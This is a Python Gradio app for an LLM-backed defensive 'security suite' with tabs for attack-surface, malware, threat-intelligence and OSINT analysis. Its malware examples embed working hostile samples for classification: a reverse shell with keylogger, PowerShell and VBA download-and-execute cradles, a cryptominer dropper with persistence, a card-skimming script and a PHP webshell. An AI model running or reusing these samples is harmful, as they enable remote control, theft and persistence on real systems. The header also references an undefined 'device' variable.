"""
Achilles Security Suite — HuggingFace Space
Attack Surface | Malware Analysis | Threat Intelligence | OSINT

Deploy:
  1. Create Space on huggingface.co (Gradio SDK, T4 Small GPU)
  2. Upload this directory
  3. Set secrets: HF_MODEL (your fine-tuned model or base model)
"""

import os
import spaces
import gradio as gr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer

# ── Model ───────────────────────────────────────────────────────
MODEL_ID = os.environ.get("HF_MODEL", "Qwen/Qwen2.5-Coder-7B-Instruct")
ADAPTER_ID = os.environ.get("HF_ADAPTER", "")

print(f"Loading {MODEL_ID}...")
tokenizer = AutoTokenizer.from_pretrained(MODEL_ID, trust_remote_code=True)
if tokenizer.pad_token is None:
    tokenizer.pad_token = tokenizer.eos_token

model = AutoModelForCausalLM.from_pretrained(
    MODEL_ID, torch_dtype=torch.float16, device_map="auto", trust_remote_code=True,
)

if ADAPTER_ID:
    from peft import PeftModel
    model = PeftModel.from_pretrained(model, ADAPTER_ID)

model.eval()
print("Model ready!")


# ── System Prompts ──────────────────────────────────────────────
SYSTEM_PROMPTS = {
    "asm": (
        "You are Achilles ASM, an AI-powered Attack Surface Management analyst. "
        "You identify exposed assets, misconfigurations, and security gaps across "
        "cloud infrastructure, web applications, and network services. "
        "You provide actionable remediation steps ranked by risk severity."
    ),
    "malware": (
        "You are Achilles Malware Analyst, an AI security researcher specializing in "
        "malware reverse engineering, static analysis, and behavioral analysis. "
        "You identify malicious patterns, IOCs, MITRE ATT&CK techniques, and provide "
        "detailed technical analysis of suspicious code and artifacts."
    ),
    "cti": (
        "You are Achilles CTI Analyst, an AI-powered Cyber Threat Intelligence analyst. "
        "You parse threat reports, extract IOCs, map adversary TTPs to MITRE ATT&CK, "
        "assess threat actor attribution, and produce actionable intelligence briefs. "
        "You provide structured output following STIX 2.1 conventions."
    ),
    "osint": (
        "You are Achilles OSINT Analyst, an AI-powered Open Source Intelligence researcher. "
        "You analyze publicly available information to map digital footprints, identify "
        "security exposure, and assess organizational risk. You follow ethical OSINT practices."
    ),
}


# ── Inference (GPU allocated only during this call) ─────────────
@spaces.GPU(duration=120)
def run_inference(system_key: str, user_prompt: str, max_tokens: int = 1024) -> str:
    if not user_prompt.strip():
        return "Please provide input to analyze."

    system = SYSTEM_PROMPTS[system_key]
    prompt = (
        f"<|im_start|>system\n{system}<|im_end|>\n"
        f"<|im_start|>user\n{user_prompt}<|im_end|>\n"
        f"<|im_start|>assistant\n"
    )

    inputs = tokenizer(prompt, return_tensors="pt", truncation=True, max_length=4096).to(model.device)

    with torch.no_grad():
        outputs = model.generate(
            **inputs,
            max_new_tokens=max_tokens,
            temperature=0.3,
            top_p=0.9,
            do_sample=True,
            repetition_penalty=1.1,
            pad_token_id=tokenizer.pad_token_id,
        )

    response = tokenizer.decode(outputs[0][inputs["input_ids"].shape[1]:], skip_special_tokens=True)
    if "<|im_end|>" in response:
        response = response[:response.index("<|im_end|>")]
    return response.strip()


# ════════════════════════════════════════════════════════════════
# TAB 1: Attack Surface Management
# ════════════════════════════════════════════════════════════════
ASM_EXAMPLES = [
    ["AWS S3 Bucket Policy", '''{
  "Version": "2012-10-17",
  "Statement": [{
    "Sid": "PublicRead",
    "Effect": "Allow",
    "Principal": "*",
    "Action": ["s3:GetObject", "s3:PutObject"],
    "Resource": "arn:aws:s3:::company-data-prod/*"
  }]
}'''],
    ["Kubernetes Pod", '''apiVersion: v1
kind: Pod
metadata:
  name: app-server
  namespace: production
spec:
  hostNetwork: true
  containers:
  - name: app
    image: myapp:latest
    securityContext:
      privileged: true
      runAsUser: 0
    ports:
    - containerPort: 8080
      hostPort: 8080'''],
    ["AWS Security Group", '''{
  "GroupId": "sg-0abc123def456",
  "GroupName": "web-servers",
  "IpPermissions": [
    {"IpProtocol": "tcp", "FromPort": 22, "ToPort": 22,
     "IpRanges": [{"CidrIp": "0.0.0.0/0"}]},
    {"IpProtocol": "tcp", "FromPort": 3306, "ToPort": 3306,
     "IpRanges": [{"CidrIp": "0.0.0.0/0"}]},
    {"IpProtocol": "tcp", "FromPort": 443, "ToPort": 443,
     "IpRanges": [{"CidrIp": "0.0.0.0/0"}]}
  ]
}'''],
    ["Terraform Config", '''resource "aws_db_instance" "production" {
  engine               = "mysql"
  engine_version       = "5.7"
  instance_class       = "db.t3.micro"
  publicly_accessible  = true
  storage_encrypted    = false
  skip_final_snapshot  = true
  backup_retention_period = 0
}

resource "aws_s3_bucket" "logs" {
  bucket = "company-audit-logs"
}

resource "aws_s3_bucket_public_access_block" "logs" {
  bucket = aws_s3_bucket.logs.id
  block_public_acls       = false
  block_public_policy     = false
  ignore_public_acls      = false
  restrict_public_buckets = false
}'''],
    ["Docker Compose", '''version: "3"
services:
  app:
    image: myapp:latest
    privileged: true
    network_mode: host
    volumes:
      - /:/host
      - /var/run/docker.sock:/var/run/docker.sock
    environment:
      - DB_PASSWORD=admin123
      - API_KEY=sk-prod-abc123
  redis:
    image: redis:7
    ports:
      - "0.0.0.0:6379:6379"
    command: redis-server'''],
    ["Nginx Config", '''server {
    listen 80;
    server_name api.company.com;

    location / {
        proxy_pass http://backend:3000;
    }

    location /server-status {
        stub_status on;
    }

    location ~ /\\.git {
        # no deny rule
    }

    autoindex on;
}'''],
]

def scan_infra(asset_type, config, max_tokens):
    prompt = f"Analyze this {asset_type} configuration for security issues and attack surface exposure:\n\n```\n{config}\n```"
    return run_inference("asm", prompt, max_tokens)


# ════════════════════════════════════════════════════════════════
# TAB 2: Malware Analysis
# ════════════════════════════════════════════════════════════════
MALWARE_EXAMPLES = [
    ["PowerShell", '''$c = New-Object Net.WebClient
$u = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cDovLzEwLjAuMC4xL3BheWxvYWQ="))
$d = $c.DownloadString($u)
IEX($d)
$path = "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
New-ItemProperty -Path $path -Name "WindowsUpdate" -Value "powershell -ep bypass -w hidden -f C:\\Users\\Public\\svchost.ps1"
Start-Process -WindowStyle Hidden -FilePath "cmd.exe" -ArgumentList "/c netsh advfirewall set allprofiles state off"'''],
    ["Python", '''import socket, subprocess, os, threading, time

def connect_back(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    subprocess.call(["/bin/sh", "-i"])

def keylog():
    import pynput.keyboard
    keys = []
    def on_press(key):
        keys.append(str(key))
        if len(keys) > 50:
            with open("/tmp/.cache_log", "a") as f:
                f.write("".join(keys))
            keys.clear()
    with pynput.keyboard.Listener(on_press=on_press) as listener:
        listener.join()

threading.Thread(target=connect_back, args=("10.0.0.1", 4444)).start()
threading.Thread(target=keylog).start()'''],
    ["Bash", '''#!/bin/bash
curl -s http://10.0.0.1/xmrig -o /tmp/.cache_bin
chmod +x /tmp/.cache_bin
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.cache_bin -o stratum+tcp://pool.minexmr.com:4444 -u WALLET --background") | crontab -
cp /tmp/.cache_bin /usr/local/bin/.libcache
cat > /etc/systemd/system/libcache.service << 'UNIT'
[Unit]
Description=System Cache Service
[Service]
ExecStart=/usr/local/bin/.libcache
Restart=always
[Install]
WantedBy=multi-user.target
UNIT
systemctl enable libcache 2>/dev/null
nohup /tmp/.cache_bin &>/dev/null &'''],
    ["JavaScript", '''(function() {
    const fields = document.querySelectorAll(
        'input[type="password"], input[name*="card"], input[name*="cvv"], ' +
        'input[name*="expir"], input[name*="ccnum"], input[autocomplete="cc-number"]'
    );
    const exfil = (data) => {
        const img = new Image();
        img.src = "https://cdn-analytics.example.com/pixel.gif?d=" + btoa(JSON.stringify(data));
    };
    const captured = {};
    fields.forEach(el => {
        el.addEventListener("blur", () => {
            captured[el.name || el.id] = el.value;
        });
    });
    const form = document.querySelector('form[action*="checkout"], form[action*="payment"]');
    if (form) {
        form.addEventListener("submit", () => exfil(captured));
    }
})();'''],
    ["VBA Macro", '''Sub AutoOpen()
    Dim cmd As String
    cmd = "powershell -nop -w hidden -ep bypass -c ""$c=New-Object Net.WebClient;" & _
          "$c.Proxy=[Net.WebRequest]::GetSystemWebProxy();" & _
          "$c.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;" & _
          "IEX($c.DownloadString('http://10.0.0.1/stage2.ps1'))"""
    Shell cmd, vbHide
End Sub

Sub Document_Open()
    AutoOpen
End Sub'''],
    ["PHP Webshell", '''<?php
@error_reporting(0);
@set_time_limit(0);
$auth = md5($_COOKIE['session'] ?? '');
if ($auth === '5f4dcc3b5aa765d61d8327deb882cf99') {
    if (isset($_POST['cmd'])) {
        echo "<pre>" . shell_exec(base64_decode($_POST['cmd'])) . "</pre>";
    }
    if (isset($_FILES['upload'])) {
        move_uploaded_file($_FILES['upload']['tmp_name'], $_POST['path']);
    }
}
?>'''],
]

def analyze_malware(script_type, code, max_tokens):
    prompt = (
        f"Analyze this {script_type} script for malicious behavior. "
        f"Identify IOCs, MITRE ATT&CK techniques, malware family, and provide a verdict:\n\n```\n{code}\n```"
    )
    return run_inference("malware", prompt, max_tokens)


# ════════════════════════════════════════════════════════════════
# TAB 3: Threat Intelligence
# ════════════════════════════════════════════════════════════════
CTI_EXAMPLES = [
    ["IOC Extraction", """On March 15, 2026, our honeypot detected scanning activity from 198.51.100.23 and 198.51.100.45. The attacker sent spearphishing emails from invoice@secure-update.example.net containing a Word document "Q1_Invoice.docm" (SHA256: a1b2c3d4e5f67890abcdef1234567890abcdef1234567890abcdef1234567890). Upon macro execution, it dropped a DLL at C:\\Users\\Public\\msupdate.dll (MD5: deadbeef12345678deadbeef12345678) which established C2 communication with https://api.cloudfront-cdn.example.net/api/v2/update and https://static.azure-sync.example.com/telemetry. DNS queries to ns1.evil-dns.example.org were observed. The campaign exploited CVE-2024-1234 and CVE-2025-5678, primarily targeting financial institutions. Attacker email: admin@phish-domain.example.com."""],
    ["ATT&CK Mapping", """Incident timeline:
1. Initial access via phishing email with malicious macro attachment (T+0h)
2. Macro spawned PowerShell with encoded command to download stage 2 (T+0h)
3. Stage 2 payload performed credential dumping using Mimikatz (T+1h)
4. Active Directory enumerated with BloodHound/SharpHound (T+2h)
5. Lateral movement via PsExec to 3 domain controllers (T+4h)
6. Persistence via scheduled task and WMI event subscription (T+4h)
7. Data staged in C:\\Windows\\Temp\\, compressed with 7zip (T+12h)
8. Exfiltrated 2.3GB to Mega.nz cloud storage over HTTPS (T+14h)
9. Ransomware deployed via Group Policy to all domain-joined machines (T+16h)
10. Shadow copies deleted, event logs cleared (T+16h)"""],
    ["Sigma Rule", """Write a Sigma detection rule for the following behavior:
- Process: powershell.exe or pwsh.exe
- Parent process: WINWORD.EXE, EXCEL.EXE, or OUTLOOK.EXE
- Command line contains: -enc, -encodedcommand, -e, downloadstring, IEX, or Invoke-Expression
- Should detect macro-spawned PowerShell download cradles
- Include appropriate false positive guidance"""],
    ["YARA Rule", """Write a YARA rule to detect the following malware family characteristics:
- PE file with UPX packed sections
- Contains strings: "Mozilla/5.0", "/api/beacon", "cmd.exe /c"
- Imports: VirtualAlloc, WriteProcessMemory, CreateRemoteThread
- Has encrypted configuration block (high entropy section > 7.5)
- File size between 50KB and 500KB"""],
    ["Threat Brief", """NEW CRITICAL VULNERABILITY ADVISORY:
- CVE-2026-9999: Remote Code Execution in Apache Struts
- CVSS: 9.8 (Critical)
- Affected: Apache Struts 2.0.0 through 2.5.30
- Root cause: OGNL injection via crafted Content-Type header
- Proof-of-concept: Published on GitHub 2 hours ago
- Exploitation: Active scanning observed from known APT infrastructure
- Targets: Government agencies and healthcare organizations
- Patch available: Upgrade to Struts 2.5.31+

Generate a threat intelligence brief for distribution to SOC and IR teams."""],
    ["Detection Query", """Write detection queries in both Splunk SPL and Microsoft KQL for:
Technique: T1053.005 - Scheduled Task/Job
Indicators:
- schtasks.exe creating tasks with /sc onlogon or /sc onstart
- Task action pointing to suspicious paths (Users\\Public, AppData, Temp)
- Tasks created by non-standard parent processes
- Tasks with encoded PowerShell commands in the action"""],
]

def analyze_threat(task_type, content, max_tokens):
    prompt = f"Task: {task_type}\n\nInput:\n{content}"
    return run_inference("cti", prompt, max_tokens)


# ════════════════════════════════════════════════════════════════
# TAB 4: OSINT
# ════════════════════════════════════════════════════════════════
OSINT_EXAMPLES = [
    ["Domain Recon", """Analyze the following DNS records for target acme-corp.example.com:

A:     203.0.113.10, 203.0.113.11
AAAA:  2001:db8::1
MX:    aspmtp.l.google.com (pri 5), alt1.aspmtp.l.google.com (pri 10)
TXT:   v=spf1 include:_spf.google.com include:sendgrid.net ~all
TXT:   google-site-verification=abc123xyz
TXT:   MS=ms12345678
TXT:   _dmarc: v=DMARC1; p=none; rua=mailto:dmarc@acme-corp.example.com
CNAME: www -> acme-corp.example.com.cdn.cloudflare.net
CNAME: staging -> staging-env.herokuapp.com  [NXDOMAIN]
CNAME: dev -> d-1234567.execute-api.us-east-1.amazonaws.com
CNAME: mail -> ghs.googlehosted.com
NS:    ns1.cloudflare.com, ns2.cloudflare.com
SOA:   dns1.p01.nsone.net"""],
    ["Tech Fingerprint", """HTTP Response Headers from https://acme-corp.example.com:

HTTP/2 200
server: nginx/1.18.0
x-powered-by: PHP/7.4.3
x-generator: WordPress 5.9.3
set-cookie: PHPSESSID=a1b2c3; path=/; HttpOnly
x-debug-token: 7f3a2b
x-request-id: req-abc-123
via: 1.1 varnish
x-cache: MISS
age: 0
content-security-policy: (MISSING)
strict-transport-security: (MISSING)
x-content-type-options: (MISSING)
x-frame-options: (MISSING)
permissions-policy: (MISSING)

HTML source contains:
- /wp-content/plugins/elementor/
- /wp-content/plugins/woocommerce/
- jQuery 3.5.1
- Google Analytics UA-12345678-1
- Intercom widget (app_id: xyz123)
- Hotjar tracking (hjid: 999999)"""],
    ["GitHub Recon", """GitHub organization analysis for "acme-corp":

Organization: acme-corp
Public repos: 47
Visible members: 12
Created: 2019

Notable repos:
- internal-api (Python/FastAPI) - 234 commits, 3 contributors
- deploy-scripts (Bash) - 89 commits
- mobile-app (React Native) - 1.2k commits
- infrastructure (Terraform) - marked as "internal" in description

Findings in commit history:
- deploy-scripts commit abc123: AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
- internal-api commit def456: DATABASE_URL=postgres://admin:Pr0d_P@ss!@db.acme-corp.example.com:5432/production
- infrastructure commit ghi789: Contains VPN configs with internal IP ranges 10.0.0.0/8

.env.example files reference:
- STRIPE_SECRET_KEY, SENDGRID_API_KEY, JWT_SECRET, REDIS_URL

CI configs (.github/workflows/) deploy to:
- staging.acme-corp.example.com
- api.acme-corp.example.com
- admin.acme-corp.example.com (not listed in DNS)"""],
    ["Exposure Assessment", """Shodan/Censys results for 203.0.113.0/24 (acme-corp range):

203.0.113.10  nginx/1.18.0        ports: 80, 443
203.0.113.11  Apache/2.4.41       ports: 80, 443, 8080 (Tomcat manager)
203.0.113.15  OpenSSH 7.6p1       port: 22
              MySQL 5.7.32        port: 3306 (auth required)
203.0.113.20  MongoDB 4.4.6       port: 27017 (NO AUTH)
              - Databases: production, analytics, user_sessions
              - Collections visible: users (142k docs), transactions (890k docs)
203.0.113.25  Elasticsearch 7.10.0  port: 9200 (NO AUTH)
              - Indices: logs-2026.*, customer-data, internal-docs
              - Cluster name: acme-production
203.0.113.30  Jenkins 2.289.1     port: 8080
              - Login page exposed, version banner visible
              - /script endpoint returns 403 (not 404)
203.0.113.35  Grafana 8.3.0       port: 3000
              - Anonymous access enabled
              - Dashboard: "Production Metrics" publicly visible"""],
    ["Supply Chain Risk", """Assess supply chain risk for these third-party dependencies used by acme-corp:

NPM packages:
- event-stream@3.3.6 (known compromised in 2018 incident)
- ua-parser-js@0.7.28 (known supply chain attack in 2021)
- lodash@4.17.20 (outdated, known prototype pollution CVEs)
- company-internal-utils@1.0.0 (published under personal account, not org)

Python packages:
- requests@2.25.1 (outdated)
- pyyaml@5.3 (known arbitrary code execution CVE)
- django@3.2.0 (EOL, multiple known CVEs)
- acme-auth-helper@0.1.0 (12 downloads total, registered 3 days ago)

Docker images:
- node:14-alpine (EOL base image)
- python:3.8-slim (approaching EOL)
- redis:6.0 (outdated)
- mycompany/backend:latest (no pinned digest, mutable tag)"""],
]

def analyze_osint(task_type, data, max_tokens):
    prompt = f"OSINT Analysis Task: {task_type}\n\nData:\n{data}"
    return run_inference("osint", prompt, max_tokens)


# ════════════════════════════════════════════════════════════════
# Gradio UI
# ════════════════════════════════════════════════════════════════
CSS = """
.main-header { text-align: center; padding: 24px 0 8px; }
.main-header h1 { color: #dc2626; font-size: 2.2em; margin: 0; letter-spacing: -0.02em; }
.main-header .sub { color: #94a3b8; margin: 4px 0 0; }
.main-header .brand { color: #475569; font-size: 0.8em; margin-top: 6px; }
.tab-header { border-left: 3px solid #dc2626; padding-left: 12px; margin: 8px 0 16px; }
.tab-header h3 { margin: 0; }
.tab-header p { margin: 2px 0 0; color: #64748b; font-size: 0.9em; }
.status-bar { background: #1e293b; border-radius: 8px; padding: 10px 16px; margin: 0 0 12px;
              display: flex; justify-content: space-between; align-items: center; }
.status-bar span { color: #94a3b8; font-size: 0.85em; }
.status-bar .model { color: #22c55e; font-weight: 600; }
.status-bar .device { color: #f59e0b; }
footer { display: none !important; }
"""

ASM_TYPES = ["AWS S3 Bucket Policy", "AWS IAM Policy", "AWS Security Group", "Kubernetes Pod",
             "Kubernetes RBAC", "Terraform Config", "Docker Compose", "Nginx Config",
             "GCP Firewall", "Azure NSG", "DNS Records", "TLS Scan", "Port Scan Results"]
MALWARE_TYPES = ["PowerShell", "Python", "Bash", "JavaScript", "VBA Macro", "PHP Webshell",
                 "Batch", "Binary Indicators"]
CTI_TYPES = ["IOC Extraction", "ATT&CK Mapping", "Sigma Rule", "YARA Rule",
             "Threat Brief", "Detection Query", "Actor Profiling"]
OSINT_TYPES = ["Domain Recon", "Tech Fingerprint", "GitHub Recon", "Exposure Assessment",
               "Credential Leak Analysis", "Cloud Asset Discovery", "Supply Chain Risk"]

THEME = gr.themes.Base(
    primary_hue="red", secondary_hue="slate", neutral_hue="slate",
    font=gr.themes.GoogleFont("Inter"),
)

with gr.Blocks(title="Achilles Security Suite", theme=THEME, css=CSS) as demo:

    gr.HTML(f"""
    <div class="main-header">
        <h1>ACHILLES</h1>
        <p class="sub"><b>Security Intelligence Suite</b></p>
        <p class="brand">Attack Surface &bull; Malware &bull; Threat Intel &bull; OSINT</p>
        <p class="brand">Built by HTS-ASPM</p>
    </div>
    <div class="status-bar">
        <span>Model: <span class="model">{MODEL_ID.split('/')[-1]}</span></span>
        <span>Device: <span class="device">{device.upper()}</span></span>
        <span>Domains: 4 active</span>
    </div>
    """)

    with gr.Tabs():

        # ── Attack Surface ──
        with gr.Tab("Attack Surface"):
            gr.HTML('<div class="tab-header"><h3>Attack Surface Management</h3><p>Analyze cloud configs, K8s manifests, Terraform, Docker, and network scan results for misconfigurations</p></div>')
            with gr.Row(equal_height=True):
                with gr.Column():
                    asm_type = gr.Dropdown(choices=ASM_TYPES, value="AWS S3 Bucket Policy", label="Asset Type")
                    asm_input = gr.Code(label="Configuration / Scan Data", language="json", lines=18)
                    asm_tok = gr.Slider(256, 2048, value=1024, step=128, label="Max tokens")
                    asm_btn = gr.Button("Assess Attack Surface", variant="primary", size="lg")
                with gr.Column():
                    asm_out = gr.Markdown(label="Assessment")
            asm_btn.click(scan_infra, [asm_type, asm_input, asm_tok], asm_out)
            with gr.Accordion("Examples", open=False):
                gr.Examples(ASM_EXAMPLES, [asm_type, asm_input], label="Click to load")

        # ── Malware ──
        with gr.Tab("Malware Analyzer"):
            gr.HTML('<div class="tab-header"><h3>Malware Analysis</h3><p>Classify suspicious scripts and code — identify IOCs, ATT&CK techniques, and malicious behavior patterns</p></div>')
            with gr.Row(equal_height=True):
                with gr.Column():
                    mal_type = gr.Dropdown(choices=MALWARE_TYPES, value="PowerShell", label="Script Type")
                    mal_input = gr.Code(label="Suspicious Code", language="shell", lines=18)
                    mal_tok = gr.Slider(256, 2048, value=1024, step=128, label="Max tokens")
                    mal_btn = gr.Button("Analyze Sample", variant="primary", size="lg")
                with gr.Column():
                    mal_out = gr.Markdown(label="Analysis Report")
            mal_btn.click(analyze_malware, [mal_type, mal_input, mal_tok], mal_out)
            with gr.Accordion("Examples", open=False):
                gr.Examples(MALWARE_EXAMPLES, [mal_type, mal_input], label="Click to load")

        # ── Threat Intel ──
        with gr.Tab("Threat Intel"):
            gr.HTML('<div class="tab-header"><h3>Cyber Threat Intelligence</h3><p>Extract IOCs, map to MITRE ATT&CK, generate Sigma/YARA detection rules, produce threat briefs</p></div>')
            with gr.Row(equal_height=True):
                with gr.Column():
                    cti_type = gr.Dropdown(choices=CTI_TYPES, value="IOC Extraction", label="Task")
                    cti_input = gr.Textbox(label="Threat Report / Data", lines=16,
                                           placeholder="Paste threat report, IOCs, attack description, or detection requirements...")
                    cti_tok = gr.Slider(256, 2048, value=1024, step=128, label="Max tokens")
                    cti_btn = gr.Button("Analyze Threat", variant="primary", size="lg")
                with gr.Column():
                    cti_out = gr.Markdown(label="Intelligence Output")
            cti_btn.click(analyze_threat, [cti_type, cti_input, cti_tok], cti_out)
            with gr.Accordion("Examples", open=False):
                gr.Examples(CTI_EXAMPLES, [cti_type, cti_input], label="Click to load")

        # ── OSINT ──
        with gr.Tab("OSINT"):
            gr.HTML('<div class="tab-header"><h3>Open Source Intelligence</h3><p>Analyze digital footprints, exposed assets, supply chain risks, and organizational exposure</p></div>')
            with gr.Row(equal_height=True):
                with gr.Column():
                    osint_type = gr.Dropdown(choices=OSINT_TYPES, value="Domain Recon", label="Task")
                    osint_input = gr.Textbox(label="OSINT Data", lines=16,
                                             placeholder="Paste DNS records, Shodan results, HTTP headers, GitHub data, or dependency lists...")
                    osint_tok = gr.Slider(256, 2048, value=1024, step=128, label="Max tokens")
                    osint_btn = gr.Button("Analyze", variant="primary", size="lg")
                with gr.Column():
                    osint_out = gr.Markdown(label="OSINT Report")
            osint_btn.click(analyze_osint, [osint_type, osint_input, osint_tok], osint_out)
            with gr.Accordion("Examples", open=False):
                gr.Examples(OSINT_EXAMPLES, [osint_type, osint_input], label="Click to load")

    gr.HTML("""
    <p style="text-align:center; color:#475569; font-size:0.78em; padding:12px;">
        Achilles Security Suite &mdash; AI-generated analysis. Always verify findings with manual review and authorized testing.
    </p>
    """)


if __name__ == "__main__":
    demo.launch(server_name="0.0.0.0", server_port=7860)